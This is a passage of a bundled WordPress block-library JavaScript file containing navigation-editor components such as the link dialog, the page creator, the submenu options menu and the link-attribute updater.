31539 style: {
31540 color: innerBlocksColors.customTextColor,
31541 backgroundColor: innerBlocksColors.customBackgroundColor
31542 }
31543 };
31544}
31545
31546
31547;// ./node_modules/@wordpress/block-library/build-module/navigation/edit/manage-menus-button.js
31548
31549
31550
31551
31552const ManageMenusButton = ({
31553 className = "",
31554 disabled,
31555 isMenuItem = false
31556}) => {
31557 let ComponentName = external_wp_components_namespaceObject.Button;
31558 if (isMenuItem) {
31559 ComponentName = external_wp_components_namespaceObject.MenuItem;
31560 }
31561 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31562 ComponentName,
31563 {
31564 variant: "link",
31565 disabled,
31566 className,
31567 href: (0,external_wp_url_namespaceObject.addQueryArgs)("edit.php", {
31568 post_type: "wp_navigation"
31569 }),
31570 children: (0,external_wp_i18n_namespaceObject.__)("Manage menus")
31571 }
31572 );
31573};
31574var manage_menus_button_default = ManageMenusButton;
31575
31576
31577;// ./node_modules/@wordpress/block-library/build-module/navigation/edit/deleted-navigation-warning.js
31578
31579
31580
31581
31582
31583function DeletedNavigationWarning({ onCreateNew, isNotice = false }) {
31584 const [isButtonDisabled, setIsButtonDisabled] = (0,external_wp_element_namespaceObject.useState)(false);
31585 const handleButtonClick = () => {
31586 setIsButtonDisabled(true);
31587 onCreateNew();
31588 };
31589 const message = (0,external_wp_element_namespaceObject.createInterpolateElement)(
31590 (0,external_wp_i18n_namespaceObject.__)(
31591 "Navigation Menu has been deleted or is unavailable. <button>Create a new Menu?</button>"
31592 ),
31593 {
31594 button: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31595 external_wp_components_namespaceObject.Button,
31596 {
31597 __next40pxDefaultSize: true,
31598 onClick: handleButtonClick,
31599 variant: "link",
31600 disabled: isButtonDisabled,
31601 accessibleWhenDisabled: true
31602 }
31603 )
31604 }
31605 );
31606 return isNotice ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Notice, { status: "warning", isDismissible: false, children: message }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.Warning, { children: message });
31607}
31608var deleted_navigation_warning_default = DeletedNavigationWarning;
31609
31610
31611;// ./node_modules/@wordpress/icons/build-module/library/add-submenu.js
31612
31613
31614var add_submenu_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M2 12c0 3.6 2.4 5.5 6 5.5h.5V19l3-2.5-3-2.5v2H8c-2.5 0-4.5-1.5-4.5-4s2-4.5 4.5-4.5h3.5V6H8c-3.6 0-6 2.4-6 6zm19.5-1h-8v1.5h8V11zm0 5h-8v1.5h8V16zm0-10h-8v1.5h8V6z" }) });
31615
31616
31617;// ./node_modules/@wordpress/icons/build-module/library/chevron-up.js
31618
31619
31620var chevron_up_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M6.5 12.4L12 8l5.5 4.4-.9 1.2L12 10l-4.5 3.6-1-1.2z" }) });
31621
31622
31623;// ./node_modules/@wordpress/block-library/build-module/navigation/edit/leaf-more-menu.js
31624
31625
31626
31627
31628
31629
31630
31631
31632const POPOVER_PROPS = {
31633 className: "block-editor-block-settings-menu__popover",
31634 placement: "bottom-start"
31635};
31636const BLOCKS_THAT_CAN_BE_CONVERTED_TO_SUBMENU = [
31637 "core/navigation-link",
31638 "core/navigation-submenu"
31639];
31640function AddSubmenuItem({
31641 block,
31642 onClose,
31643 expandedState,
31644 expand,
31645 setInsertedBlock
31646}) {
31647 const { insertBlock, replaceBlock, replaceInnerBlocks } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
31648 const clientId = block.clientId;
31649 const isDisabled = !BLOCKS_THAT_CAN_BE_CONVERTED_TO_SUBMENU.includes(
31650 block.name
31651 );
31652 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31653 external_wp_components_namespaceObject.MenuItem,
31654 {
31655 icon: add_submenu_default,
31656 disabled: isDisabled,
31657 onClick: () => {
31658 const updateSelectionOnInsert = false;
31659 const newLink = (0,external_wp_blocks_namespaceObject.createBlock)(
31660 constants_DEFAULT_BLOCK.name,
31661 constants_DEFAULT_BLOCK.attributes
31662 );
31663 if (block.name === "core/navigation-submenu") {
31664 insertBlock(
31665 newLink,
31666 block.innerBlocks.length,
31667 clientId,
31668 updateSelectionOnInsert
31669 );
31670 } else {
31671 const newSubmenu = (0,external_wp_blocks_namespaceObject.createBlock)(
31672 "core/navigation-submenu",
31673 block.attributes,
31674 block.innerBlocks
31675 );
31676 replaceBlock(clientId, newSubmenu);
31677 replaceInnerBlocks(
31678 newSubmenu.clientId,
31679 [newLink],
31680 updateSelectionOnInsert
31681 );
31682 }
31683 setInsertedBlock(newLink);
31684 if (!expandedState[block.clientId]) {
31685 expand(block.clientId);
31686 }
31687 onClose();
31688 },
31689 children: (0,external_wp_i18n_namespaceObject.__)("Add submenu link")
31690 }
31691 );
31692}
31693function LeafMoreMenu(props) {
31694 const { block } = props;
31695 const { clientId } = block;
31696 const { moveBlocksDown, moveBlocksUp, removeBlocks } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
31697 const removeLabel = (0,external_wp_i18n_namespaceObject.sprintf)(
31698 /* translators: %s: block name */
31699 (0,external_wp_i18n_namespaceObject.__)("Remove %s"),
31700 (0,external_wp_blockEditor_namespaceObject.BlockTitle)({ clientId, maximumLength: 25 })
31701 );
31702 const rootClientId = (0,external_wp_data_namespaceObject.useSelect)(
31703 (select) => {
31704 const { getBlockRootClientId } = select(external_wp_blockEditor_namespaceObject.store);
31705 return getBlockRootClientId(clientId);
31706 },
31707 [clientId]
31708 );
31709 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31710 external_wp_components_namespaceObject.DropdownMenu,
31711 {
31712 icon: more_vertical_default,
31713 label: (0,external_wp_i18n_namespaceObject.__)("Options"),
31714 className: "block-editor-block-settings-menu",
31715 popoverProps: POPOVER_PROPS,
31716 noIcons: true,
31717 ...props,
31718 children: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
31719 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, { children: [
31720 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31721 external_wp_components_namespaceObject.MenuItem,
31722 {
31723 icon: chevron_up_default,
31724 onClick: () => {
31725 moveBlocksUp([clientId], rootClientId);
31726 onClose();
31727 },
31728 children: (0,external_wp_i18n_namespaceObject.__)("Move up")
31729 }
31730 ),
31731 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31732 external_wp_components_namespaceObject.MenuItem,
31733 {
31734 icon: chevron_down_default,
31735 onClick: () => {
31736 moveBlocksDown([clientId], rootClientId);
31737 onClose();
31738 },
31739 children: (0,external_wp_i18n_namespaceObject.__)("Move down")
31740 }
31741 ),
31742 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31743 AddSubmenuItem,
31744 {
31745 block,
31746 onClose,
31747 expandedState: props.expandedState,
31748 expand: props.expand,
31749 setInsertedBlock: props.setInsertedBlock
31750 }
31751 )
31752 ] }),
31753 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31754 external_wp_components_namespaceObject.MenuItem,
31755 {
31756 onClick: () => {
31757 removeBlocks([clientId], false);
31758 onClose();
31759 },
31760 children: removeLabel
31761 }
31762 ) })
31763 ] })
31764 }
31765 );
31766}
31767
31768
31769;// ./node_modules/@wordpress/icons/build-module/library/plus.js
31770
31771
31772var plus_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M11 12.5V17.5H12.5V12.5H17.5V11H12.5V6H11V11H6V12.5H11Z" }) });
31773
31774
31775;// ./node_modules/@wordpress/icons/build-module/library/chevron-right-small.js
31776
31777
31778var chevron_right_small_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M10.8622 8.04053L14.2805 12.0286L10.8622 16.0167L9.72327 15.0405L12.3049 12.0286L9.72327 9.01672L10.8622 8.04053Z" }) });
31779
31780
31781;// ./node_modules/@wordpress/icons/build-module/library/chevron-left-small.js
31782
31783
31784var chevron_left_small_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m13.1 16-3.4-4 3.4-4 1.1 1-2.6 3 2.6 3-1.1 1z" }) });
31785
31786
31787;// ./node_modules/@wordpress/block-library/build-module/navigation-link/link-ui/dialog-wrapper.js
31788
31789
31790
31791
31792
31793function BackButton({ className, onBack }) {
31794 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31795 external_wp_components_namespaceObject.Button,
31796 {
31797 className,
31798 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_right_small_default : chevron_left_small_default,
31799 onClick: (e) => {
31800 e.preventDefault();
31801 onBack();
31802 },
31803 size: "small",
31804 children: (0,external_wp_i18n_namespaceObject.__)("Back")
31805 }
31806 );
31807}
31808function DialogWrapper({ className, title, description, onBack, children }) {
31809 const dialogTitleId = (0,external_wp_compose_namespaceObject.useInstanceId)(
31810 DialogWrapper,
31811 "link-ui-dialog-title"
31812 );
31813 const dialogDescriptionId = (0,external_wp_compose_namespaceObject.useInstanceId)(
31814 DialogWrapper,
31815 "link-ui-dialog-description"
31816 );
31817 const focusOnMountRef = (0,external_wp_compose_namespaceObject.useFocusOnMount)("firstElement");
31818 const backButtonClassName = `${className}__back`;
31819 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
31820 "div",
31821 {
31822 className,
31823 role: "dialog",
31824 "aria-labelledby": dialogTitleId,
31825 "aria-describedby": dialogDescriptionId,
31826 ref: focusOnMountRef,
31827 children: [
31828 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.VisuallyHidden, { children: [
31829 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", { id: dialogTitleId, children: title }),
31830 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { id: dialogDescriptionId, children: description })
31831 ] }),
31832 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BackButton, { className: backButtonClassName, onBack }),
31833 children
31834 ]
31835 }
31836 );
31837}
31838var dialog_wrapper_default = DialogWrapper;
31839
31840
31841;// ./node_modules/@wordpress/block-library/build-module/navigation-link/link-ui/page-creator.js
31842
31843
31844
31845
31846
31847
31848
31849
31850function LinkUIPageCreator({
31851 postType,
31852 onBack,
31853 onPageCreated,
31854 initialTitle = ""
31855}) {
31856 const [title, setTitle] = (0,external_wp_element_namespaceObject.useState)(initialTitle);
31857 const [shouldPublish, setShouldPublish] = (0,external_wp_element_namespaceObject.useState)(false);
31858 const isTitleValid = title.trim().length > 0;
31859 const { lastError, isSaving } = (0,external_wp_data_namespaceObject.useSelect)(
31860 (select) => ({
31861 lastError: select(external_wp_coreData_namespaceObject.store).getLastEntitySaveError(
31862 "postType",
31863 postType
31864 ),
31865 isSaving: select(external_wp_coreData_namespaceObject.store).isSavingEntityRecord(
31866 "postType",
31867 postType
31868 )
31869 }),
31870 [postType]
31871 );
31872 const { saveEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
31873 async function createPage(event) {
31874 event.preventDefault();
31875 if (isSaving || !isTitleValid) {
31876 return;
31877 }
31878 try {
31879 const savedRecord = await saveEntityRecord(
31880 "postType",
31881 postType,
31882 {
31883 title,
31884 status: shouldPublish ? "publish" : "draft"
31885 },
31886 { throwOnError: true }
31887 );
31888 if (savedRecord) {
31889 const pageLink = {
31890 id: savedRecord.id,
31891 type: postType,
31892 title: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(savedRecord.title.rendered),
31893 url: savedRecord.link,
31894 kind: "post-type"
31895 };
31896 onPageCreated(pageLink);
31897 }
31898 } catch (error) {
31899 }
31900 }
31901 const isSubmitDisabled = isSaving || !isTitleValid;
31902 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31903 dialog_wrapper_default,
31904 {
31905 className: "link-ui-page-creator",
31906 title: (0,external_wp_i18n_namespaceObject.__)("Create page"),
31907 description: (0,external_wp_i18n_namespaceObject.__)("Create a new page to add to your Navigation."),
31908 onBack,
31909 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, { className: "link-ui-page-creator__inner", spacing: 4, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("form", { onSubmit: createPage, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 4, children: [
31910 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31911 external_wp_components_namespaceObject.TextControl,
31912 {
31913 __next40pxDefaultSize: true,
31914 __nextHasNoMarginBottom: true,
31915 label: (0,external_wp_i18n_namespaceObject.__)("Title"),
31916 onChange: setTitle,
31917 placeholder: (0,external_wp_i18n_namespaceObject.__)("No title"),
31918 value: title
31919 }
31920 ),
31921 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31922 external_wp_components_namespaceObject.CheckboxControl,
31923 {
31924 __nextHasNoMarginBottom: true,
31925 label: (0,external_wp_i18n_namespaceObject.__)("Publish immediately"),
31926 help: (0,external_wp_i18n_namespaceObject.__)(
31927 "If unchecked, the page will be created as a draft."
31928 ),
31929 checked: shouldPublish,
31930 onChange: setShouldPublish
31931 }
31932 ),
31933 lastError && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Notice, { status: "error", isDismissible: false, children: lastError.message }),
31934 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { spacing: 2, justify: "flex-end", children: [
31935 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31936 external_wp_components_namespaceObject.Button,
31937 {
31938 __next40pxDefaultSize: true,
31939 variant: "tertiary",
31940 onClick: onBack,
31941 disabled: isSaving,
31942 accessibleWhenDisabled: true,
31943 children: (0,external_wp_i18n_namespaceObject.__)("Cancel")
31944 }
31945 ),
31946 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31947 external_wp_components_namespaceObject.Button,
31948 {
31949 __next40pxDefaultSize: true,
31950 variant: "primary",
31951 type: "submit",
31952 isBusy: isSaving,
31953 "aria-disabled": isSubmitDisabled,
31954 children: (0,external_wp_i18n_namespaceObject.__)("Create page")
31955 }
31956 )
31957 ] })
31958 ] }) }) })
31959 }
31960 );
31961}
31962
31963
31964;// ./node_modules/@wordpress/block-library/build-module/navigation-link/link-ui/block-inserter.js
31965
31966
31967
31968
31969
31970
31971const { PrivateQuickInserter: QuickInserter } = unlock(
31972 external_wp_blockEditor_namespaceObject.privateApis
31973);
31974function LinkUIBlockInserter({ clientId, onBack, onBlockInsert }) {
31975 const { rootBlockClientId } = (0,external_wp_data_namespaceObject.useSelect)(
31976 (select) => {
31977 const { getBlockRootClientId } = select(external_wp_blockEditor_namespaceObject.store);
31978 return {
31979 rootBlockClientId: getBlockRootClientId(clientId)
31980 };
31981 },
31982 [clientId]
31983 );
31984 if (!clientId) {
31985 return null;
31986 }
31987 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31988 dialog_wrapper_default,
31989 {
31990 className: "link-ui-block-inserter",
31991 title: (0,external_wp_i18n_namespaceObject.__)("Add block"),
31992 description: (0,external_wp_i18n_namespaceObject.__)("Choose a block to add to your Navigation."),
31993 onBack,
31994 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31995 QuickInserter,
31996 {
31997 rootClientId: rootBlockClientId,
31998 clientId,
31999 isAppender: false,
32000 prioritizePatterns: false,
32001 selectBlockOnInsert: !onBlockInsert,
32002 onSelect: onBlockInsert ? onBlockInsert : void 0,
32003 hasSearch: false
32004 }
32005 )
32006 }
32007 );
32008}
32009var block_inserter_default = LinkUIBlockInserter;
32010
32011
32012;// ./node_modules/@wordpress/block-library/build-module/navigation-link/link-ui/index.js
32013
32014
32015
32016
32017
32018
32019
32020
32021
32022
32023
32024
32025function getSuggestionsQuery(type, kind) {
32026 switch (type) {
32027 case "post":
32028 case "page":
32029 return { type: "post", subtype: type };
32030 case "category":
32031 return { type: "term", subtype: "category" };
32032 case "tag":
32033 return { type: "term", subtype: "post_tag" };
32034 case "post_format":
32035 return { type: "post-format" };
32036 default:
32037 if (kind === "taxonomy") {
32038 return { type: "term", subtype: type };
32039 }
32040 if (kind === "post-type") {
32041 return { type: "post", subtype: type };
32042 }
32043 return {
32044 // for custom link which has no type
32045 // always show pages as initial suggestions
32046 initialSuggestionsSearchOptions: {
32047 type: "post",
32048 subtype: "page",
32049 perPage: 20
32050 }
32051 };
32052 }
32053}
32054function UnforwardedLinkUI(props, ref) {
32055 const { label, url, opensInNewTab, type, kind, id } = props.link;
32056 const { clientId } = props;
32057 const postType = type || "page";
32058 const [addingBlock, setAddingBlock] = (0,external_wp_element_namespaceObject.useState)(false);
32059 const [addingPage, setAddingPage] = (0,external_wp_element_namespaceObject.useState)(false);
32060 const [focusAddBlockButton, setFocusAddBlockButton] = (0,external_wp_element_namespaceObject.useState)(false);
32061 const [focusAddPageButton, setFocusAddPageButton] = (0,external_wp_element_namespaceObject.useState)(false);
32062 const permissions = (0,external_wp_coreData_namespaceObject.useResourcePermissions)({
32063 kind: "postType",
32064 name: postType
32065 });
32066 const { isBoundEntityAvailable } = useEntityBinding({
32067 clientId,
32068 attributes: props.link
32069 });
32070 const link = (0,external_wp_element_namespaceObject.useMemo)(
32071 () => ({
32072 url,
32073 opensInNewTab,
32074 title: label && (0,external_wp_dom_namespaceObject.__unstableStripHTML)(label),
32075 kind,
32076 type,
32077 id
32078 }),
32079 [label, opensInNewTab, url, kind, type, id]
32080 );
32081 const handlePageCreated = (pageLink) => {
32082 props.onChange(pageLink);
32083 setAddingPage(false);
32084 };
32085 const dialogTitleId = (0,external_wp_compose_namespaceObject.useInstanceId)(
32086 LinkUI,
32087 "link-ui-link-control__title"
32088 );
32089 const dialogDescriptionId = (0,external_wp_compose_namespaceObject.useInstanceId)(
32090 LinkUI,
32091 "link-ui-link-control__description"
32092 );
32093 const blockEditingMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)();
32094 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
32095 external_wp_components_namespaceObject.Popover,
32096 {
32097 ref,
32098 placement: "bottom",
32099 onClose: props.onClose,
32100 anchor: props.anchor,
32101 shift: true,
32102 children: [
32103 !addingBlock && !addingPage && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
32104 "div",
32105 {
32106 role: "dialog",
32107 "aria-labelledby": dialogTitleId,
32108 "aria-describedby": dialogDescriptionId,
32109 children: [
32110 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.VisuallyHidden, { children: [
32111 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", { id: dialogTitleId, children: (0,external_wp_i18n_namespaceObject.__)("Add link") }),
32112 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { id: dialogDescriptionId, children: (0,external_wp_i18n_namespaceObject.__)(
32113 "Search for and add a link to your Navigation."
32114 ) })
32115 ] }),
32116 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32117 external_wp_blockEditor_namespaceObject.LinkControl,
32118 {
32119 hasTextControl: true,
32120 hasRichPreviews: true,
32121 value: link,
32122 showInitialSuggestions: true,
32123 withCreateSuggestion: false,
32124 noDirectEntry: !!type,
32125 noURLSuggestion: !!type,
32126 suggestionsQuery: getSuggestionsQuery(type, kind),
32127 onChange: props.onChange,
32128 onRemove: props.onRemove,
32129 onCancel: props.onCancel,
32130 handleEntities: isBoundEntityAvailable,
32131 renderControlBottom: () => {
32132 if (link?.url?.length) {
32133 return null;
32134 }
32135 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32136 LinkUITools,
32137 {
32138 focusAddBlockButton,
32139 focusAddPageButton,
32140 setAddingBlock: () => {
32141 setAddingBlock(true);
32142 setFocusAddBlockButton(false);
32143 },
32144 setAddingPage: () => {
32145 setAddingPage(true);
32146 setFocusAddPageButton(false);
32147 },
32148 canAddPage: permissions?.canCreate && type === "page",
32149 canAddBlock: blockEditingMode === "default"
32150 }
32151 );
32152 }
32153 }
32154 )
32155 ]
32156 }
32157 ),
32158 addingBlock && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32159 block_inserter_default,
32160 {
32161 clientId: props.clientId,
32162 onBack: () => {
32163 setAddingBlock(false);
32164 setFocusAddBlockButton(true);
32165 setFocusAddPageButton(false);
32166 },
32167 onBlockInsert: props?.onBlockInsert
32168 }
32169 ),
32170 addingPage && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32171 LinkUIPageCreator,
32172 {
32173 postType,
32174 onBack: () => {
32175 setAddingPage(false);
32176 setFocusAddPageButton(true);
32177 setFocusAddBlockButton(false);
32178 },
32179 onPageCreated: handlePageCreated,
32180 initialTitle: link?.url || ""
32181 }
32182 )
32183 ]
32184 }
32185 );
32186}
32187const LinkUI = (0,external_wp_element_namespaceObject.forwardRef)(UnforwardedLinkUI);
32188const LinkUITools = ({
32189 setAddingBlock,
32190 setAddingPage,
32191 focusAddBlockButton,
32192 focusAddPageButton,
32193 canAddPage,
32194 canAddBlock
32195}) => {
32196 const blockInserterAriaRole = "listbox";
32197 const addBlockButtonRef = (0,external_wp_element_namespaceObject.useRef)();
32198 const addPageButtonRef = (0,external_wp_element_namespaceObject.useRef)();
32199 (0,external_wp_element_namespaceObject.useEffect)(() => {
32200 if (focusAddBlockButton) {
32201 addBlockButtonRef.current?.focus();
32202 }
32203 }, [focusAddBlockButton]);
32204 (0,external_wp_element_namespaceObject.useEffect)(() => {
32205 if (focusAddPageButton) {
32206 addPageButtonRef.current?.focus();
32207 }
32208 }, [focusAddPageButton]);
32209 if (!canAddPage && !canAddBlock) {
32210 return null;
32211 }
32212 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 0, className: "link-ui-tools", children: [
32213 canAddPage && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32214 external_wp_components_namespaceObject.Button,
32215 {
32216 __next40pxDefaultSize: true,
32217 ref: addPageButtonRef,
32218 icon: plus_default,
32219 onClick: (e) => {
32220 e.preventDefault();
32221 setAddingPage(true);
32222 },
32223 "aria-haspopup": blockInserterAriaRole,
32224 children: (0,external_wp_i18n_namespaceObject.__)("Create page")
32225 }
32226 ),
32227 canAddBlock && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32228 external_wp_components_namespaceObject.Button,
32229 {
32230 __next40pxDefaultSize: true,
32231 ref: addBlockButtonRef,
32232 icon: plus_default,
32233 onClick: (e) => {
32234 e.preventDefault();
32235 setAddingBlock(true);
32236 },
32237 "aria-haspopup": blockInserterAriaRole,
32238 children: (0,external_wp_i18n_namespaceObject.__)("Add block")
32239 }
32240 )
32241 ] });
32242};
32243var link_ui_default = (/* unused pure expression or super */ null && (LinkUITools));
32244
32245
32246;// external ["wp","escapeHtml"]
32247const external_wp_escapeHtml_namespaceObject = window["wp"]["escapeHtml"];
32248;// ./node_modules/@wordpress/block-library/build-module/navigation-link/shared/update-attributes.js
32249
32250
32251const shouldSeverEntityLink = (originalUrl, newUrl) => {
32252 if (!originalUrl || !newUrl) {
32253 return false;
32254 }
32255 const normalizePath = (path) => {
32256 if (!path) {
32257 return "";
32258 }
32259 return path.replace(/\/+$/, "");
32260 };
32261 const createUrlObject = (url, baseUrl = null) => {
32262 try {
32263 const base = baseUrl || (typeof window !== "undefined" ? window.location.origin : "https://wordpress.org");
32264 return new URL(url, base);
32265 } catch (error) {
32266 return null;
32267 }
32268 };
32269 const originalUrlObj = createUrlObject(originalUrl);
32270 if (!originalUrlObj) {
32271 return true;
32272 }
32273 const newUrlObj = createUrlObject(newUrl, originalUrl);
32274 if (!newUrlObj) {
32275 return true;
32276 }
32277 const originalHostname = originalUrlObj.hostname;
32278 const newHostname = newUrlObj.hostname;
32279 const originalPath = normalizePath((0,external_wp_url_namespaceObject.getPath)(originalUrlObj.toString()));
32280 const newPath = normalizePath((0,external_wp_url_namespaceObject.getPath)(newUrlObj.toString()));
32281 if (originalHostname !== newHostname || originalPath !== newPath) {
32282 return true;
32283 }
32284 const originalP = originalUrlObj.searchParams.get("p");
32285 const newP = newUrlObj.searchParams.get("p");
32286 if (originalP && newP && originalP !== newP) {
32287 return true;
32288 }
32289 const originalPageId = originalUrlObj.searchParams.get("page_id");
32290 const newPageId = newUrlObj.searchParams.get("page_id");
32291 if (originalPageId && newPageId && originalPageId !== newPageId) {
32292 return true;
32293 }
32294 if (originalP && newPageId || originalPageId && newP) {
32295 return true;
32296 }
32297 return false;
32298};
32299const updateAttributes = (updatedValue = {}, setAttributes, blockAttributes = {}) => {
32300 const {
32301 label: originalLabel = "",
32302 kind: originalKind = "",
32303 type: originalType = ""
32304 } = blockAttributes;
32305 const {
32306 title: newLabel = "",
32307 // the title of any provided Post.
32308 label: newLabelFromLabel = "",
32309 // alternative to title
32310 url: newUrl,
32311 opensInNewTab,
32312 id: newID,
32313 kind: newKind = originalKind,
32314 type: newType = originalType
32315 } = updatedValue;
32316 const finalNewLabel = newLabel || newLabelFromLabel;
32317 const newLabelWithoutHttp = finalNewLabel.replace(/http(s?):\/\//gi, "");
32318 const newUrlWithoutHttp = newUrl?.replace(/http(s?):\/\//gi, "") ?? "";
32319 const useNewLabel = finalNewLabel && finalNewLabel !== originalLabel && // LinkControl without the title field relies
32320 // on the check below. Specifically, it assumes that
32321 // the URL is the same as a title.
32322 // This logic a) looks suspicious and b) should really
32323 // live in the LinkControl and not here. It's a great
32324 // candidate for future refactoring.
32325 newLabelWithoutHttp !== newUrlWithoutHttp;
32326 const label = useNewLabel ? (0,external_wp_escapeHtml_namespaceObject.escapeHTML)(finalNewLabel) : originalLabel || (0,external_wp_escapeHtml_namespaceObject.escapeHTML)(newUrlWithoutHttp);
32327 const type = newType === "post_tag" ? "tag" : newType.replace("-", "_");
32328 const isBuiltInType = ["post", "page", "tag", "category"].indexOf(type) > -1;
32329 const isCustomLink = !newKind && !isBuiltInType || newKind === "custom";
32330 const kind = isCustomLink ? "custom" : newKind;
32331 const attributes = {
32332 // Passed `url` may already be encoded. To prevent double encoding, decodeURI is executed to revert to the original string.
32333 ...newUrl !== void 0 ? { url: newUrl ? encodeURI((0,external_wp_url_namespaceObject.safeDecodeURI)(newUrl)) : newUrl } : {},
32334 ...label && { label },
32335 ...void 0 !== opensInNewTab && { opensInNewTab },
32336 ...kind && { kind },
32337 ...type && type !== "URL" && { type }
32338 };
32339 if (newUrl && !newID && blockAttributes.id) {
32340 const shouldSever = shouldSeverEntityLink(
32341 blockAttributes.url,
32342 newUrl
32343 );
32344 if (shouldSever) {
32345 attributes.id = void 0;
32346 attributes.kind = "custom";
32347 attributes.type = "custom";
32348 }
32349 } else if (newID && Number.isInteger(newID)) {
32350 attributes.id = newID;
32351 } else if (blockAttributes.id) {
32352 attributes.kind = kind;
32353 attributes.type = type;
32354 }
32355 setAttributes(attributes);
32356 const finalId = "id" in attributes ? attributes.id : blockAttributes.id;
32357 const finalKind = "kind" in attributes ? attributes.kind : blockAttributes.kind;
32358 return {
32359 isEntityLink: !!finalId && finalKind !== "custom",
32360 attributes
32361 // Return the computed attributes object
32362 };
32363};
32364
32365
32366;// ./node_modules/@wordpress/block-library/build-module/navigation/edit/menu-inspector-controls.js
32367
32368
32369
32370
32371
32372
